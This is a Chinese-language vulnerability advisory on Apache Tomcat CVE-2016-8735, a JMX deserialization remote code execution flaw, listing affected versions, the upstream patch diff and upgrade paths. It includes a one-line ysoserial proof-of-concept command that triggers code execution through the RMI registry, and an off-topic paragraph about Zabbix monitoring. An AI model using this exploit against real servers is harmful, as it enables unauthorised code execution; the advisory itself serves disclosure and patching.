【漏洞预警】Apache Tomcat多版本远程代码执行CVE-2016-8735(附POC)

阅读量732612

|

发布时间 : 2016-12-03 09:09:51

http://p2.qhimg.com/t010f450d4a5fc8387e.jpg

背景介绍

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat 很受广大程序员的喜欢,因为它运行时占用的系统资源小,扩展性好,支持负载平衡与邮件服务等开发应用系统常用的功能。


漏洞描述

Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。 Tomcat也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。

受影响版本:

Apache Tomcat 9.0.0.M1 to 9.0.0.M11

Apache Tomcat 8.5.0 to 8.5.6

Apache Tomcat 8.0.0.RC1 to 8.0.38

Apache Tomcat 7.0.0 to 7.0.72

Apache Tomcat 6.0.0 to 6.0.47

 

影响场景:

Zabbix 2.0 已经将 JMX 监控加入了系统中,本身不再依赖第三方工具。这是得对 Tomcat 应用以及其他 Java 应用的监控更加简单。本文简单的介绍 Zabbix 使用 JMX 方式监控 Tomcat 的过程。


漏洞验证代码(POC):

测试版本:tomcat版本8.0.36

conf/server.xml增加配置,添加catalina-jmx-remote.jar包,groovy-2.3.9.jar包,修改catalina文件配置

http://p1.qhimg.com/t01314e25e7db6eb5c4.png

http://p0.qhimg.com/t01c952cd2790458d9d.png

F:HackToolsEXP>java -cp ysoserial-master-v0.0.4.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 calc.exe

https://p0.ssl.qhimg.com/t01278e3c0fa9170442.png

这个漏洞还有其它利用姿势,危害巨大,因此改变JMX密码认证十分有必要!


补丁代码:

Diff of /tomcat/trunk/webapps/docs/changelog.xml

 Parent Directory |  Revision Log |  Patch


--- tomcat/trunk/webapps/docs/changelog.xml	2016/11/02 11:57:28	1767643
+++ tomcat/trunk/webapps/docs/changelog.xml	2016/11/02 11:57:36	1767644
@@ -97,6 +97,10 @@
         StoreConfig component includes the executor name when writing the
         Connector configuration. (markt)
       </fix>
+      <fix>
+        When configuring the JMX remote listener, specify the allowed types for
+        the credentials. (markt)
+      </fix>
     </changelog>
   </subsection>

/tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java

 Parent Directory |  Revision Log |  Patch

--- tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java	2016/11/02 11:57:28	1767643
+++ tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java	2016/11/02 11:57:36	1767644
@@ -264,6 +264,10 @@
                 serverCsf = new RmiClientLocalhostSocketFactory(serverCsf);
             }
 
+            env.put("jmx.remote.rmi.server.credential.types", new String[] {
+                    String[].class.getName(),
+                    String.class.getName() });
+
             // Populate the env properties used to create the server
             if (serverCsf != null) {
                 env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, serverCsf);
@@ -328,7 +332,7 @@
             cs = new RMIConnectorServer(serviceUrl, theEnv, server,
                     ManagementFactory.getPlatformMBeanServer());
             cs.start();
-            registry.bind("jmxrmi", server);
+            registry.bind("jmxrmi", server.toStub());
             log.info(sm.getString("jmxRemoteLifecycleListener.start",
                     Integer.toString(theRmiRegistryPort),
                     Integer.toString(theRmiServerPort), serverName));

解决办法:

升级到不受影响版本

不受影响版本列表:

Upgrade to Apache Tomcat 9.0.0.M13 or later  (Apache Tomcat 9.0.0.M12 has the fix but was not released)

Upgrade to Apache Tomcat 8.5.8 or later  (Apache Tomcat 8.5.7 has the fix but was not released)

Upgrade to Apache Tomcat 8.0.39 or later

Upgrade to Apache Tomcat 7.0.73 or later

Upgrade to Apache Tomcat 6.0.48 or later

参考漏洞来源:

http://seclists.org/oss-sec/2016/q4/502

http://engineering.pivotal.io/post/java-deserialization-jmx/

http://svn.apache.org/viewvc?view=revision&revision=1767644

分享到:微信
+11赞
收藏
安全客
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66